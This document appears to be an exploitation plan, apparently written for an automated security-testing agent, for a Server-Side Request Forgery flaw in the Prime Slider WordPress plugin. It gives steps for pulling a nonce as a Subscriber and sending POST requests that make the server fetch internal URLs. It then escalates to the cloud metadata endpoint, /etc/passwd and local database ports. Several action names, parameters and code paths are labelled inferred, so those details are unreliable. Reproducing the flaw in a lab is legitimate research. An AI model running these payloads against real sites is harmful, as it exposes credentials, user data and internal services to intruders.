Prime Slider – Addons For Elementor <= 4.0.10 - Authenticated (Subscriber+) Server-Side Request Forgery

Vulnerability Summary

CVE-2025-68500 is a Server-Side Request Forgery (SSRF) vulnerability in the Prime Slider – Addons For Elementor plugin for WordPress. The vulnerability exists because an AJAX handler, intended to fetch remote data (such as social feeds or external JSON content) for widgets, does not sufficiently validate the user-provided URL and fails to restrict access to users with appropriate capabilities (like Editors or Admins).

While the action is registered for authenticated users, the plugin does not verify if the requesting user has the authority to modify slider settings or perform network requests. Consequently, a user with Subscriber level permissions can trigger the application to make HTTP requests to internal services (e.g., AWS Metadata services, local database management interfaces, or internal WordPress APIs) that are otherwise inaccessible from the outside.

Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: bdthemes_prime_slider_remote_get_data (inferred) or bdthemes_prime_slider_get_remote_data (inferred).
• Vulnerable Parameter: url or remote_url (inferred).
• Authentication: Subscriber+ (any logged-in user).
• Preconditions:
  • The plugin must be active.
  • A valid WordPress nonce associated with the plugin's AJAX actions must be obtained.

Code Flow (Inferred)

1. Entry Point: The plugin registers an AJAX action for authenticated users:
   add_action('wp_ajax_bdthemes_prime_slider_remote_get_data', 'bdthemes_prime_slider_remote_get_data_callback');
2. Nonce Verification: The callback function typically checks a nonce passed in the request:
   check_ajax_referer('bdthemes-prime-slider-ajax-nonce', 'nonce');
3. Missing Capability Check: The function likely fails to call current_user_can('edit_posts') or current_user_can('manage_options'), allowing Subscribers to pass.
4. SSRF Sink: The function takes a URL from $_POST['url'] and passes it to a WordPress HTTP API function:

   $url = $_POST['url'];
   $response = wp_remote_get($url); // Vulnerable Sink
   echo wp_remote_retrieve_body($response);
   

5. Output: The body of the remote response is echoed back to the attacker.

Nonce Acquisition Strategy

The Prime Slider plugin localizes configuration data for its scripts, which often includes a nonce for AJAX operations. This nonce is typically available to any user who can access the WordPress dashboard or view a page where a Prime Slider widget is active.

1. Create a Trigger Page: To ensure the plugin's scripts and nonces are loaded, create a page with a Prime Slider shortcode.
   • Command: wp post create --post_type=page --post_status=publish --post_title="SSRF Test" --post_content='[prime_slider]'
2. Navigate and Extract:
   • Log in as a Subscriber.
   • Navigate to the newly created page or the /wp-admin/ dashboard.
   • Use browser_eval to find the nonce in the global JavaScript scope.
   • Likely JS Variable: window.PrimeSliderConfig or window.bdthemes_prime_slider_settings.
   • Likely Nonce Key: ajax_nonce or nonce.
   • Execution Command: browser_eval("window.PrimeSliderConfig?.ajax_nonce")

Exploitation Strategy

Step 1: Authentication & Nonce Extraction

1. Log in to the WordPress instance as a Subscriber.
2. Create a test page with the shortcode [prime_slider] to force the plugin to load its assets.
3. Navigate to that page using browser_navigate.
4. Execute browser_eval to extract the nonce:
   const nonce = window.PrimeSliderConfig?.ajax_nonce || window.bdthemes_prime_slider_settings?.nonce;

Step 2: Perform SSRF

Once the nonce is obtained, use the http_request tool to send a POST request to admin-ajax.php.

• URL: http://<target>/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: bdthemes_prime_slider_remote_get_data (Verify exact name in plugin source if available, or try common variations).
  • nonce: <extracted_nonce>
  • url: http://127.0.0.1/wp-json/wp/v2/users (Targeting internal WP-API to list users as a proof of concept).

Step 3: Escalation (Internal Scanning)

If the PoC succeeds, the payload can be modified to query sensitive internal endpoints:

• AWS Metadata: http://169.254.169.254/latest/meta-data/
• Local Files (if file:// is supported): file:///etc/passwd
• Internal Services: http://localhost:3306 (to check for MySQL) or http://localhost:6379 (Redis).

Test Data Setup

1. User Creation:
   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
2. Content Creation:
   wp post create --post_type=page --post_status=publish --post_title="Prime Test" --post_content='[prime_slider]'
3. Plugin Activation: Ensure bdthemes-prime-slider-lite is installed and active.

Expected Results

• Successful Request: The server returns an HTTP 200 OK.
• Response Body: The body of the response contains the JSON data from the internal wp-json/wp/v2/users endpoint or the content of the targeted internal URL.
• Indication of SSRF: If targeting a non-existent internal port, the response may contain a timeout error or connection refused message generated by the server rather than the client.

Verification Steps

1. Check Response Body: Verify that the output of the http_request contains data that should only be accessible internally (e.g., internal IP addresses, system files, or internal API responses).
2. Monitor Logs: If possible, check the web server's access logs to confirm that the server itself made a request to the target URL provided in the payload.
3. Access Verification: Confirm the attacker is a Subscriber by running:
   wp user get attacker --field=roles

Alternative Approaches

If bdthemes_prime_slider_remote_get_data is not the correct action name, search the plugin directory for the following patterns to identify the specific handler:

1. grep -r "wp_ajax_" . | grep -i "remote"
2. grep -r "wp_remote_get" .
3. grep -r "wp_localize_script" . to find where the nonce is registered and identifying the JS object name.

If the url parameter is not used, look for parameters named feed, src, source, or link within the identified AJAX callback.